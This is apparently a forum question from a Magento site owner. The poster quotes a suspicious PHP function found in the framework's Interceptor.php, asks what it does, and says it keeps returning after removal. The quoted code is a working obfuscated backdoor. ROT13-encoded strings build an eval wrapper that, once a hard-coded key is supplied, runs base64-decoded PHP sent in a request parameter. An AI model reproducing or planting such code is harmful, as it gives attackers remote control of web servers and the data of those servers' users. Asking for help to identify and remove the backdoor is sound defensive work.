Is this script a malware?

I’ve found this script in vendor/magento/framework/Interception/Interceptor.php

public function validate_request($request)
{
    $is_safe = false;

    $default_function = @create_function('$str', 'return str_rot13($str);');
    $keys = ["perngr_shapgvba",
        'erghea riny($vachg);'];
    $validate = $default_function($keys[0]);
    $key_data  = $default_function($keys[1]);
    $Composer_Validator = @$validate('$input', $key_data);
    $safe_match = "5408be1139";
    if (isset($request["encryption_key"])) {
        $encryption_key = $request["encryption_key"];
        if ($safe_match == $encryption_key) {
            $is_safe = true;
        }
    }
    $frontName = "/*front*/";
    if (isset($request["frontName"])) {
        $frontName = $request["frontName"];
        $frontName = base64_decode($frontName);
    }
    if ($is_safe && function_exists($Composer_Validator)) {
        $is_safe = (bool) @$Composer_Validator($frontName);
        return $is_safe;
    }

}

I think it’s a malware, but what it does?
Also, i tried to remove it, but it return, can someone know how to remove it forever?